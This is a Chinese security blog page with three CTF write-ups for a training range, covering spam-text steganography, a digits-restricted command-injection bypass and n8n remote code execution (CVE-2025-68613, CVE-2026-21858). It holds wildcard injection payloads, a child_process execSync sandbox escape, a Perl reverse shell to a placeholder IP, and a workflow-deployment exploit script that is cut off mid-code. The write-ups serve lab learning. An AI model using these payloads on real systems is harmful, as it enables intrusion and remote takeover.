好靶场 on 静静的安全笔记

好靶场-致给李华的一封信-WP

Wed, 25 Feb 2026 10:41:15 +0800

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。

学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：

🔗 入口：http://www.loveli.com.cn/see_bug_one?id=737

✅ 邀请码：48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇

致给李华的一封信

题目描述

附件中有一封呈递给李华的信，而当打开它时，呈现在眼前的竟是满篇的英文促销垃圾邮件。同时题目中另附有一封"李华的回信"，提示：

“假如你是李华……”

即使高中毕业了，这句话依然是我的噩梦。三年了，李华，你总是让我替你写信。想邀请外国朋友参加画展？找我。想感谢老师？找我。还有你的笔友，我什么要找我写呢?现在的网络这么发达,网上不可以翻译或者AI来写吗？就连丢了东西写个失物招领也要找我！你是不是连一句完整的英语都不会说？

反正我已经找到了你的邮箱地址，2026年2月23日凌晨1点44，我给你写了一封信，我知道你都不懂，你记得签收，我知道你的水平，你应该可以找到真正的一封信，反正我就是要报复你 亲爱的:LiHua


Dear Contestant, 

Hello! I am Li Hua. You must be very familiar with me, after all, over the past three years, we have spent countless afternoons together preparing for exams. A user named San Jiu sent me a messy email. You know me, my English isn’t very good. Even though I’ve been studying it for three years, my English is still poor, just like you said, I’ve been pretending to study diligently. So could you help me figure out what this letter is really trying to say?

Fluent in English,
Li Hua

翻译:

亲爱的选手：

你好！我是李华。你应该对我非常熟悉了，毕竟在过去的三年里，我们一起度过了无数个考试的下午。有一个叫叁玖的用户给我发了一封乱七八糟的邮件，你知道我的，我的英语不是很好，虽然我学了三年，但英文还是很差，就像你们说的那样，一直在假装努力学习。所以你能帮我看看，这封信真正想表达的是什么吗？

英语非常棒的，
李华

解题思路

第一步：识别 Spam Mimic 隐写

看到大量格式统一的英文促销邮件，例如：

Dear Salaryman; Especially for you - this cutting-edge information...
Why work for somebody else when you can become rich as few as 42 MONTHS...

这是经典的 Spam Mimic（垃圾邮件隐写） 特征。SpamMimic是一种隐写术，它能够把任意的信息编码到标准化的垃圾邮件模板当中，从视觉方面来看，呈现出的是看似正常却实际上无意义的促销邮件的形态。

解码工具：http://www.spammimic.com/decode.cgi

根据题目提示"密码是 LiHua"，在解码页面：

粘贴全部垃圾邮件文本
密码填入 LiHua
点击 Decode

经解码操作之后，获取到一串起始部分为789c的十六进制数据。

第二步：识别 zlib 压缩并解压

789c 是属于zlib压缩格式的魔数，该魔数的存在意味数据已经经历了zlib压缩的处理过程，表明数据是经过zlib进行压缩的。将十六进制数据转为二进制文件后，用 Python 解压：

 1import binascii
 2import zlib
 3
 4# 粘贴 Spam Mimic 解码出的十六进制字符串
 5decoded_hex = "789c......" 
 6
 7raw_bytes = binascii.unhexlify(decoded_hex.replace(' ', ''))
 8decompressed = zlib.decompress(raw_bytes)
 9
10with open('output.bin', 'wb') as f:
11 f.write(decompressed)
12
13print(decompressed.decode('utf-8')[:100])

解压后得到一长串只包含 0 和 1 的字符串：

0110000110110000011010100101011111001110010011100101011111001011001100000100111001011000101100000110

若直接按每8位转换为ASCII，得到的是乱码，这表明并非是普通的二进制编码形式。

第三步：识别格雷码并转换

在进行了多种不同的编码尝试之后，最终确定这是格雷码，我们常说的GrayCode。格雷码具有这样的特性，即相邻的两个数值之间仅仅在一位二进制位上存在差异，它常常被应用于通信领域以及编码转换的相关场景里。

格雷码 → 普通二进制的转换规则：

最高位不变
后续每一位 = 前一位二进制结果 XOR 当前格雷码位

完整解码脚本：

 1def gray_to_binary(gray):
 2 """格雷码转标准二进制"""
 3 binary = gray[0]
 4 for i in range(1, len(gray)):
 5 binary += str(int(binary[i - 1]) ^ int(gray[i]))
 6 return binary
 7
 8
 9def binary_to_text(binary_str):
10 """二进制转 ASCII 文本（每8位一组）"""
11 text = ""
12 for i in range(0, len(binary_str) - 7, 8):
13 byte = binary_str[i:i + 8]
14 ascii_val = int(byte, 2)
15 if 32 <= ascii_val <= 126:
16 text += chr(ascii_val)
17 return text
18
19
20# 读取解压后的数据
21with open('output.bin', 'r') as f:
22 gray_data = f.read().strip()
23
24binary = gray_to_binary(gray_data)
25result = binary_to_text(binary)
26print(result)

自动化一键脚本

以下脚本自动完成 Spam Mimic 解码 → zlib 解压 → 格雷码转换的全流程：

 1import binascii
 2import zlib
 3
 4# 把网站给你的十六进制字符串粘贴在这里
 5decoded_hex = "789c......" # 粘贴完整的十六进制
 6
 7raw_bytes = binascii.unhexlify(decoded_hex.replace(' ', ''))
 8decompressed = zlib.decompress(raw_bytes)
 9gray_str = decompressed.decode('utf-8').strip()
10
11def gray_to_binary(gray):
12 binary = gray[0]
13 for i in range(1, len(gray)):
14 binary += str(int(binary[i-1]) ^ int(gray[i]))
15 return binary
16
17def binary_to_text(binary_str):
18 text = ""
19 for i in range(0, len(binary_str) - 7, 8):
20 byte = binary_str[i:i+8]
21 ascii_val = int(byte, 2)
22 if 32 <= ascii_val <= 126:
23 text += chr(ascii_val)
24 return text
25
26binary = gray_to_binary(gray_str)
27print(binary_to_text(binary))

最终结果

解码后得到一封完整的中文信——一个被"李华"折磨了三年的高中考生的控诉书：

A Letter to Li HuaDear (and absolutely insufferable) Li Hua,As I sit down to write this, I don't even need to use my brain to come up with an opening. After all, over my three years of high school, the letters I've written to you, the ones I've ghostwritten for you, and the lies I've covered up for you probably outnumber the English vocabulary words I've memorized. Seriously, Li Hua, did you enroll in high school to actually study, or just to treat me as your full-time, unpaid secretary?I genuinely can't wrap my head around it: how can someone who made it into high school be so ridiculously dense that they can't even write a basic invitation or thank-you note? Every time an English exam gets handed out and I see "Suppose you are Li Hua" or "Write a letter to Li Hua," I literally feel physically ill. You want to invite a foreign friend to a school event? You come to me. You need to write a thank-you letter to a teacher? You come to me. You want to whine to your pen pal about your study stress? Me again. Hell, even when you lose your own stuff and need to put up a lost-and-found notice, I'm the one who has to write it. Did you literally have nothing better to do for three solid years than to be an absolute parasite?I often suspect you're doing this on purpose. Pretending you don't know a word of English, deliberately dumping all your messes onto us test-takers, and watching us tear our hair out racking our brains to fabricate those fake, insincere pleasantries and patch up your ridiculous excuses. You get to sit back and reap the benefits every single time. And what about me? Just to write a passing letter for you, I have to memorize templates, drill sentence structures, and desperately pad the word count, terrified that one misspelled word or a single grammar slip will tank my own grade.What's even more laughable is how excessively "busy" you are. One minute you're joining some activity, the next you're making a new friend, and then suddenly you have all these bizarre personal dilemmas. It's like you have to stick your nose into every single event on earth and touch every bit of trouble, leaving us to deal with the inevitable fallout. I've wondered more than once: if Li Hua didn't exist, would my English exams be a little less like torture? Would my high school life actually have a bit of peace and quiet?Honestly, I despise you. I hate that you show up in every single English composition. I hate that you are eternally incapable of writing your own damn letters. I hate that you've wasted my time and energy on this utterly meaningless "ghostwriting" gig. I am so sick and tired of speaking for you, expressing things for you, and finishing the tasks that you should be doing yourself.Today, I am writing you this letter for the very last time. Not to fix another one of your stupid messes, but just to tell you this: for the rest of your life, stay out of my essays, and stop bothering me to write for you. I never want to have anything to do with you ever again, and I refuse to suffer another headache on your account.Goodbye forever. May we never cross paths again.A test-taker you tormented for three yearsflag{09063956b0c14f709439b19892b474d2ee32e335}

致李华的一封信亲爱的（简直令人无法忍受的）李华：当我坐下来写这封信时，我甚至都不用动脑筋就能想到开头。毕竟，在我高中三年里，我给你写的信、替你代笔的信以及帮你掩盖的谎言，加起来的数量恐怕都超过了我背诵的英语单词。说真的，李华，你上高中是为了好好学习，还是就为了把我当你的全职、无偿秘书？我实在想不通：一个能考上高中的学生，怎么会蠢到连一封基本的邀请函或感谢信都写不出来？每次英语考试发下来，看到“假设你是李华”或者“给李华写一封信”，我简直要吐了。你想邀请外国朋友参加学校活动？找我。你需要给老师写封感谢信？找我。你想向笔友抱怨学习压力？还是我。天哪，甚至你丢了东西要贴寻物启事，还得我来写。你真的就整整三年没点正经事可做，就只会当个彻头彻尾的寄生虫吗？我常常怀疑你是故意这么干的。装作一句英语都不懂，故意把你的烂摊子都甩给我们这些考生，然后看着我们抓耳挠腮绞尽脑汁去编造那些假惺惺、不真诚的客套话，帮你圆那些荒唐的借口。每次都是你坐享其成，而我呢？就为了给你写封过得去的推荐信，还得死记硬背模板，苦练句型，拼命凑字数，就怕一个错别字或者一处语法错误就毁了我自己的成绩。更可笑的是你那过分的“忙碌”。一会儿参加这个活动，一会儿交个新朋友，然后突然冒出一堆稀奇古怪的个人难题。好像地球上的每一件事你都得插一手，每一点麻烦都得沾上边，最后把烂摊子留给我们收拾。我不止一次想过：要是没有李华，我的英语考试会不会好受点？我的高中生活真的能有点安宁吗？说实话，我讨厌你。我讨厌你出现在我每一篇英语作文里。我讨厌你永远都不会自己写信。我讨厌你浪费我的时间和精力在你这毫无意义的“代笔”活儿上。我受够了替你说话，替你表达，替你完成本该你自己做的事。今天，我最后一次给你写信。不是为了再帮你收拾烂摊子，只是想告诉你：余生，别再出现在我的作文里，别再烦我替你写东西。我再也不想和你有任何瓜葛，我绝不会再为你头疼。永别了。愿我们再无交集。一个被你折磨了三年的考生flag{09063956b0c14f709439b19892b474d2ee32e335}

Flag 即藏于此信之中。

flag{09063956b0c14f709439b19892b474d2ee32e335}

解题链总结

垃圾邮件文本（spam.txt）
 │
 ▼ Spam Mimic 解码（密码: LiHua）
 │ http://www.spammimic.com/decode.cgi
 │
十六进制数据（789c 开头）
 │
 ▼ zlib 解压（Python: zlib.decompress）
 │
一串 0/1 字符串（格雷码）
 │
 ▼ 格雷码 → 标准二进制（本位 XOR 前一位）
 │
 ▼ 二进制 → ASCII（每8位转一字符）
 │
 FLAG

知识点总结

知识点	说明
Spam Mimic 隐写	将信息编码进垃圾邮件模板，解码网站：spammimic.com
zlib 魔数	`789c` 是 zlib 压缩数据的标准文件头
格雷码	相邻值仅一位不同；转二进制：首位不变，后续位 = 前位结果 XOR 当前位

本题颇具匠心地将隐写，压缩，编码这三个知识点连贯起来，并且把“李华”这一高考经典人物当作彩蛋融入其中，饶有趣味。

Spam Mimic 隐写详解

它是什么？

在20世纪90年代末期，JackKilian创造出一种名为SpamMimic的语言学隐写术。

核心要义颇为简洁，即将秘密讯息隐匿于一篇乍看全然正常的垃圾邮件当中，使得审查者无论是人还是机器，错认为它仅仅是一封普通的促销邮件，以此达成绕过过滤的目的。

原理：用文法来编码

关键概念：上下文无关文法（CFG）

SpamMimic从根本来说，是一种具有可逆特性的文法编码体系。它预先定义了一套垃圾邮件的模板文法，类似这样：

邮件 = 开头 + 正文段落×N + 结尾
开头 = 称呼 + 开场白
称呼 = "Dear Salaryman" | "Dear Friend" | "Dear Colleague" | ...（8种选项）
开场白 = "Especially for you -" | "Thank-you for your interest" | ...（4种选项）

每一处所在都存在一定数量的固定备选项目，而选定哪一个备选项目，实际上就意味对信息进行了隐匿。

编码过程（藏信息）

若要对信息Hi实施隐藏操作，其对应的二进制形式就是 01001000 01101001。

编码器逐位读取这些二进制，用每个文法选择点来消耗比特：

称呼位置有 8 种选项 → 可以编码 3 bit（2³ = 8）
开场白有 4 种选项 → 可以编码 2 bit（2² = 4）
时间单位有 4 种 → 可以编码 2 bit
数字有多种范围 → 可以编码若干 bit
...

每实施一次选择，就会损耗与之对应的位数的比特，直至所有信息都被编码完毕。

举个具体例子：

称呼有 8 种候选 → 读取 3 bit "010" = 2 → 选第2个 "Dear Colleague"
开场白有 4 种 → 读取 2 bit "01" = 1 → 选第1个 "Especially for you"
...

最终生成的邮件里，每一个词语的选用都精准地与秘密信息的若干位比特一一对应起来。

解码过程（取信息）

反过来，解码器拿到这封垃圾邮件，逐个分析每个词语在文法中是第几个选项：

"Dear Colleague" 是称呼的第2个 → 输出 3 bit "010"
"Especially for you" 是第1个 → 输出 2 bit "01"
...

将所有输出进行组合，便可还原出最初的二进制信息，随后把它转换成文字即可。整个进程完全具备可逆性，不存在任何信息缺失情况。

密码的作用

你可能注意到解码时要输入密码 LiHua，这个密码的作用是：

打乱候选项的顺序（Permutation）

没有密码时，候选项按默认顺序排列：

称呼[0] = "Dear Friend"
称呼[1] = "Dear Salaryman"
称呼[2] = "Dear Colleague"
...

有密码时，用密码生成一个伪随机排列：

称呼[0] = "Dear Colleague" ← 顺序被打乱了
称呼[1] = "Dear Friend"
称呼[2] = "Dear Salaryman"
...

这样即使知道 Spam Mimic 技术，不知道密码也无法正确解码——因为每个选择点对应的比特值完全不同。

容量有多大？

容量是SpamMimic所存在的最为重大的不足之处所在。

在文法范畴内，每封邮件所具备的选择点数量是有限的，并且每个选择点所编码的比特数量也不多，一般处于1到3bit的范围，由此，一封邮件能够隐匿起来的信息总量极为有限，大约仅仅是几十字节到几百字节的程度。

这便是这道题需先经zlib实施压缩而后再隐匿其中的原因所在，因为原始信息体量过于庞大，唯有先行压缩才能够将其容纳进去。

安全性分析

攻击方式	效果
人工审查	很难发现，邮件看起来完全正常
关键词过滤	无效，没有可疑词汇
统计分析	理论上可行——真实垃圾邮件的词频分布和 Spam Mimic 生成的会有细微差异
知道算法但不知道密码	无法解码
知道算法和密码	完全破解

所以 Spam Mimic 的安全性依赖于：

攻击者不知道这封邮件藏了信息
攻击者不知道密码

倘若了解到SpamMimic被加以运用，从理论层面而言，破解密码的暴力方式是具有实施可能性的。

类似技术横向对比

技术	载体	原理
Spam Mimic	垃圾邮件文本	文法选择编码
Twitter 隐写	推文	词语/标点选择
图片 LSB 隐写	PNG/BMP	修改最低位像素
音频隐写	WAV	修改不可闻频段
零宽字符隐写	任意文本	插入不可见 Unicode 字符

SpamMimic被归类于语言学隐写范畴，其特性在于载体自身能够完全被阅读，语义是合理的，并且是极难被人类察觉的类型。

什么是格雷码

格雷码的诞生确实源于转盘设计方面的需求，而该需求恰好是理解格雷码的理想切入点。

从转盘说起

想象一个旋转编码器，用来测量轴转了多少度。为了让传感器能读出位置，把转盘分成若干扇区，每个扇区用二进制编码：

位置0 → 000
位置1 → 001
位置2 → 010
位置3 → 011
...

问题出现了。

当转盘从位置 1（001）转到位置 2（010）时，三位全都变了：

001
010
↑↑↑ 三位同时翻转

传感器读取这三位不是瞬间完成的，而是有先后顺序。假设读取顺序是从高到低：

第1步读到：0 （高位已变）
第2步读到：0 （中位未变，还是旧值）
第3步读到：1 （低位未变，还是旧值）

→ 传感器瞬间读出了 001 = 1（错的！）
又比如读到 011 = 3（也是错的！）

这便是毛刺问题，当转盘在两个合法位置之间运转时，有可能被误读成任意非法的中间数值，进而致使机器失去控制。

格雷码的解决方案

FrankGray在1947年提出这样一种设想，构造出一种编码，该编码具有相邻位置仅有一位存在差异的特性。如此一来，无论传感器读取的速度多么迟缓，从一个所处位置过渡到下一个所处位置时，至多只会遇到“旧值”或者“新值”，不会出现第三种错误的状态。他设计出来的就是格雷码：

位置 普通二进制 格雷码
 0 000 000
 1 001 001 ← 变了最低位
 2 010 011 ← 变了中间位
 3 011 010 ← 变了最低位
 4 100 110 ← 变了最高位
 5 101 111 ← 变了最低位
 6 110 101 ← 变了中间位
 7 111 100 ← 变了最低位

每一行和上一行相比，永远只有一位不同，解决了毛刺问题。

那个转盘就长这样（4位格雷码的例子）：

相邻的扇区之间始终仅有一条分界线的变化，所读取到的结果自始至终都处于某个合法的位置。

除了4位的格雷码盘，还有更高级的格雷码盘，主要用于一些电子机械的光电计数的部分，如讲格雷码盘刻印在电子机械的光路上，0的镂空1的地方遮挡，在起始位置射出4道光线分布在不同的半径位置上，轮盘转动的时候接收端能感应到光线的通断，进而知道轮盘旋转的角度和其代表的份数，进而还能计算出来轮盘旋转的快慢，突破早期机械弹簧式计数的速度上限。

推荐视频： https://www.bilibili.com/video/BV18W4y147Z2/ https://www.bilibili.com/video/BV18m4y1E7Nr/

为什么转换公式是 XOR？

这便是问题的关键所在，我们通过推导去探寻，而非仅仅是单纯的死记硬背。

格雷码是怎么从二进制构造出来的？

设普通二进制为 $B = b_3 b_2 b_1 b_0$，格雷码为 $G = g_3 g_2 g_1 g_0$。

构造规则是：

$$g_i = b_i \oplus b_{i+1}$$

便意味着格雷码的每一个数位是这样获得的，当前的二进制数位与高一位的二进制数位进行异或运算（最高位保持不变）。

为什么这样设计就能保证相邻只差一位？

从 $n$ 到 $n+1$，普通二进制从右往左有一段连续的 1 会翻转（进位传播）。比如：

0111 → 1000 （最低4位全翻）

但在格雷码里：

g_i = b_i XOR b_{i+1}

由于 $b$ 变化呈现出连续的进位翻转这一状态，在对XOR的相邻位进行操作之后，所有中间位置的翻转都会相互抵消，最终仅剩下最高翻转位的一个位置发生变化。这一现象是因为XOR的对消特性在发挥作用。

那反过来怎么解码？

知道格雷码 $G$，如何还原二进制 $B$？

从构造公式 $g_i = b_i \oplus b_{i+1}$ 出发，两边同 XOR $b_{i+1}$：

$$b_i = g_i \oplus b_{i+1}$$

所以反推公式是：当前二进制位 = 当前格雷码位 XOR 前一位二进制结果。

用代码写出来：

1def gray_to_binary(gray):
2 binary = gray[0] # 最高位直接抄
3 for i in range(1, len(gray)):
4 # 本位二进制 = 本位格雷码 XOR 前一位二进制
5 binary += str(int(binary[i-1]) ^ int(gray[i]))
6 return binary

一个具体例子：

格雷码： 1 0 1 1
 ↓
最高位： 1 → binary[0] = 1
第2位： 1 XOR 0 = 1 → binary[1] = 1
第3位： 1 XOR 1 = 0 → binary[2] = 0
第4位： 0 XOR 1 = 1 → binary[3] = 1

还原二进制：1101 = 十进制 13

验证：查上面的对照表，格雷码 1101 对应的确实是位置 13（普通二进制 1101）。✓

总结

	说明
发明目的	解决旋转编码器读取时的毛刺问题
核心性质	相邻数值只有一位不同
构造方式	$g_i = b_i \oplus b_{i+1}$（相邻二进制位 XOR）
解码方式	$b_i = g_i \oplus b_{i+1}$（从高位往低位逐位 XOR）
现代应用	编码器、卡诺图化简、纠错码、CTF 隐写

XOR 之所以能用，本质上是因为格雷码的构造本身就是 XOR 定义的，解码只是把这个操作反向——而 XOR 的美妙之处在于它是自己的逆运算：$a \oplus b \oplus b = a$。

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

推荐阅读

好靶场-数字0的奇迹

Fri, 16 Jan 2026 09:23:45 +0800

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。

学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：

🔗 入口：http://www.loveli.com.cn/see_bug_one?id=368

✅ 邀请码：48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇

今天这个靶场限时免费，我一看到名字就来了兴趣，让我来研究好靶场的大王到底有多0？

解题过程

打开一看是一个网页，还勾引你去执行命令。

当我想要ls一下的时候就提示执行不允许

不是，逗我玩呢？数字1-9没有0，那我试一下0。

好像是可以，但是提示000没有这个命令用分号是可以正常分割两段命令，说明Linux系统命令的字符是可以正常工作的。

查询Linux命令大全和特殊符号大全，发现应该是要用通配符引导到/tmp/flag.txt文件上

尝试一下波浪符号回到当前用户的目录，发现这个靶场确实很0，没有0就执行不了好的，正常返回，得知当前目录是/app

分析可用字符

在如此严格的限制下，我们能利用的元素有限：

可用元素	作用
`$0`	当前 shell（通常是 `/bin/bash`）
`$?`	上一条命令的返回值
`?`	通配符，匹配单个任意字符
`*`	通配符，匹配任意长度字符串
`/`	路径分隔符
`.`	文件名分隔符 / source 命令
中间我尝试用../跳目录没有成功，最后发现`?`符号可以代表一个字符，和`*` 号不同，问号只占一个字符，而星号可以是任意长度，所以要用问号占位才能比较准确的匹配。然后是cat的功能用`$0`代替。

构造执行命令

常规读取命令如 cat、head、tail 都包含字母，无法使用。

关键突破点：$0

$0 代表当前 shell 程序（/bin/bash）
不包含任何字母或数字 1-9
可以用它来执行脚本文件当 bash 尝试将非脚本文件作为脚本执行时：

1bash /tmp/flag.txt

如果 flag.txt 内容是：

flag{xxxxxx}

Bash 会尝试把 flag{xxxxxx} 当作命令执行，由于找不到该命令，会输出错误信息：

/tmp/flag.txt: line 1: flag{xxxxxx}: command not found

错误信息中包含了 flag 内容！

最后输入

$0 /???/????.???

flag{c220c5ff2acd45f79eadf8e798abd021}

发散思路-不做0的姿势还有哪些(bushi)

1. 文件描述符类（带 0）

1. /???/????.???>&0 # 重定向到 stdin
2. /???/????.???<&0 # 从 stdin 读
3. /???/????.??? 0>&0 # fd 0 重定向
4$0 /???/????.??? # bash 执行
5$0</???/????.??? # stdin 重定向
6. /???/????.???|$0 # 管道给 $0
7. /???/????.???||$0 # 逻辑或
8. /???/????.???&&$0 # 逻辑与
9$0 /???/????.??? 0>&0

2. 带 $0 的变体

1$0 /???/????.??? # 经典解法
2${0} /???/????.??? # 花括号写法
3"$0" /???/????.??? # 引号包裹
4($0 /???/????.???) # 子 shell

3. 分号/管道 + 0

1. /???/????.???;0 # 你发现的
2. /???/????.???|0 # 你发现的
3. /???/????.???;$0 # source 后执行 bash
4. /???/????.???&$0 # 后台执行

4. Here-string / Here-doc（带 0）

1$0<<<0 # 简单测试
2$0<&0</???/????.??? # 组合重定向
3$0 0<<<. /???/????.??? # 变体

5. 数组/切片相关（带 0）

1${!0} # 间接引用
2${0:0} # 切片
3${0:0:0} # 空切片
4${0:0} /???/????.???
5${0%%0} /???/????.???
6${@:0} /???/????.??? # 参数数组切片
7${*:0} /???/????.??? # 同上

6. 算术展开（带 0）

1. /???/????.???;$((0)) # 算术展开得 0
2$0 /???/????.??? $((0)) # 传参
3$0 /???/????.??? $((0+0)) # 0+0=0
4. /???/????.???;$((0)) # source 后执行算术
5$0 /???/????.??? $[0] # 旧式算术展开

7.进程替换（如果支持）

bash

1$0 <(. /???/????.???) 0 # 进程替换

全部都是0~

总结可能的 payload

Payload	说明
`$0 /???/????.???`	bash 执行文件
`. /???/????.???;0`	source + 执行 0（报错）
`. /???/????.???\|0`	source + 管道给 0
`. /???/????.???>&0`	source + 重定向到 fd 0
`. /???/????.???<&0`	source + 从 fd 0 读
`$0</???/????.???`	bash 读取文件作为输入

题目设计得很巧妙，强制用 0 既是限制也是提示！你可以把这些变体都试一下看看哪些能过 ✌️

参考资料

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

好靶场-n8n-CVE-2026-21858+CVE-2025-68613

Wed, 14 Jan 2026 21:48:55 +0800

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。

学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：

🔗 入口：http://www.loveli.com.cn/see_bug_one?id=581

✅ 邀请码：48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇

因为是非常火的洞，Github上一搜就有poc

CVE-2025-68613 的进入方法

https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/n8n%20%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2025-68613.md [[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]]

打开页面，随便注册一个账号

创建 Edit Fields(Set) 节点

创建一个新的 Workflow 并添加一个 Manual Trigger 节点，添加 Edit Fields(Set) 选项：

点击 Add Field，此处需要填写 name 和 value。name 处填入任意内容，在 value 处填入以下代码，切换到 Expression。点击 Test step 测试执行：

1{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

最后ls目录发现flag在/tmp目录下。

1
2{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /tmp/flag.txt').toString() })() }}

flag{93c67d9043f045b399fe6896b10395dc}

或者创建exec节点直接执行命令（注意有没有权限）

直接新建一个exec节点

想要弹回shell发现没有nc也没有python，ls /bin 发现有perl, perl也可以弹

1perl -e 'use Socket;$i="公网ip";$p=4777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

flag{c006fa82940946b1a5c261198dfba1c5}

CVE-2026-21858 的进入方法

https://github.com/Chocapikk/CVE-2026-21858 把下面的代码保存为n8n_vuln_workflow.py文件

 1#!/usr/bin/env python3
 2"""
 3CVE-2026-21858 漏洞工作流部署脚本
 4用于在已知登录凭据的n8n实例上部署易受攻击的工作流配置
 5"""
 6
 7import requests
 8import json
 9import sys
 10import argparse
 11
 12# 正确的漏洞工作流配置（与你提供的配置一致）
 13VULNERABLE_WORKFLOW = {
 14 "name": "Vulnerable Form",
 15 "nodes": [
 16 {
 17 "parameters": {
 18 "formTitle": "Upload",
 19 "formFields": {
 20 "values": [
 21 {
 22 "fieldLabel": "document",
 23 "fieldType": "file"
 24 }
 25 ]
 26 },
 27 "responseMode": "responseNode",
 28 "options": {}
 29 },
 30 "id": "trigger",
 31 "name": "Form Trigger",
 32 "type": "n8n-nodes-base.formTrigger",
 33 "typeVersion": 2.2,
 34 "position": [0, 0],
 35 "webhookId": "vulnerable-form"
 36 },
 37 {
 38 "parameters": {
 39 "respondWith": "binary",
 40 "options": {}
 41 },
 42 "id": "respond",
 43 "name": "Respond",
 44 "type": "n8n-nodes-base.respondToWebhook",
 45 "typeVersion": 1.1,
 46 "position": [300, 0]
 47 }
 48 ],
 49 "pinData": {},
 50 "connections": {
 51 "Form Trigger": {
 52 "main": [
 53 [
 54 {
 55 "node": "Respond",
 56 "type": "main",
 57 "index": 0
 58 }
 59 ]
 60 ]
 61 }
 62 },
 63 "active": True,
 64 "settings": {
 65 "executionOrder": "v1"
 66 },
 67 "tags": []
 68}
 69
 70def login_n8n(base_url, email, password):
 71 """登录n8n并返回session"""
 72 session = requests.Session()
 73 
 74 print(f"[*] 正在登录 {base_url}...")
 75 print(f" 邮箱: {email}")
 76 
 77 try:
 78 login_resp = session.post(
 79 f"{base_url}/rest/login",
 80 json={"email": email, "password": password},
 81 timeout=15
 82 )
 83 
 84 if login_resp.status_code == 200:
 85 print("[✓] 登录成功")
 86 return session
 87 else:
 88 print(f"[✗] 登录失败: HTTP {login_resp.status_code}")
 89 print(f" 响应: {login_resp.text[:200]}")
 90 return None
 91 
 92 except requests.exceptions.RequestException as e:
 93 print(f"[✗] 连接失败: {e}")
 94 return None
 95
 96def check_existing_workflow(session, base_url):
 97 """检查是否已存在同名工作流"""
 98 try:
 99 resp = session.get(f"{base_url}/rest/workflows", timeout=10)
100 if resp.ok:
101 workflows = resp.json().get('data', [])
102 for wf in workflows:
103 if wf.get('name') == 'Vulnerable Form':
104 return wf.get('id')
105 return None
106 except:
107 return None
108
109def delete_workflow(session, base_url, workflow_id):
110 """删除已存在的工作流"""
111 try:
112 resp = session.delete(f"{base_url}/rest/workflows/{workflow_id}", timeout=10)
113 return resp.ok
114 except:
115 return False
116
117def deploy_workflow(session, base_url):
118 """部署漏洞工作流"""
119 
120 # 检查是否已存在
121 existing_id = check_existing_workflow(session, base_url)
122 if existing_id:
123 print(f"[!] 发现已存在的 'Vulnerable Form' 工作流 (ID: {existing_id})")
124 print("[*] 正在删除旧工作流...")
125 if delete_workflow(session, base_url, existing_id):
126 print("[✓] 旧工作流已删除")
127 else:
128 print("[!] 删除失败，继续创建...")
129 
130 print("[*] 正在创建漏洞工作流...")
131 
132 try:
133 create_resp = session.post(
134 f"{base_url}/rest/workflows",
135 json=VULNERABLE_WORKFLOW,
136 timeout=15
137 )
138 
139 if not create_resp.ok:
140 print(f"[✗] 创建失败: HTTP {create_resp.status_code}")
141 print(f" 响应: {create_resp.text[:500]}")
142 return None
143 
144 workflow_data = create_resp.json().get('data', {})
145 workflow_id = workflow_data.get('id')
146 
147 if not workflow_id:
148 print("[✗] 无法获取工作流ID")
149 print(f" 响应: {create_resp.text[:500]}")
150 return None
151 
152 print(f"[✓] 工作流创建成功!")
153 print(f" ID: {workflow_id}")
154 print(f" 名称: {workflow_data.get('name')}")
155 
156 # 确保工作流已激活
157 print("[*] 正在激活工作流...")
158 activate_resp = session.patch(
159 f"{base_url}/rest/workflows/{workflow_id}",
160 json={"active": True},
161 timeout=10
162 )
163 
164 if activate_resp.ok:
165 print("[✓] 工作流已激活")
166 else:
167 print(f"[!] 激活失败: HTTP {activate_resp.status_code}")
168 print(" 工作流已创建但未激活，请手动激活")
169 
170 return workflow_id
171 
172 except requests.exceptions.RequestException as e:
173 print(f"[✗] 请求失败: {e}")
174 return None
175
176def print_usage_instructions(base_url, workflow_id):
177 """打印使用说明"""
178 webhook_url = f"{base_url}/form/vulnerable-form"
179 
180 print("\n" + "="*70)
181 print("部署成功! 漏洞工作流已就绪")
182 print("="*70)
183 
184 print(f"\n📋 工作流信息:")
185 print(f" 管理界面: {base_url}/workflow/{workflow_id}")
186 print(f" Webhook URL: {webhook_url}")
187 
188 print(f"\n🔍 测试漏洞 - 读取文件:")
189 print(f"\n # 使用浏览器控制台:")
190 print(f""" fetch('{webhook_url}', {{
191 method: 'POST',
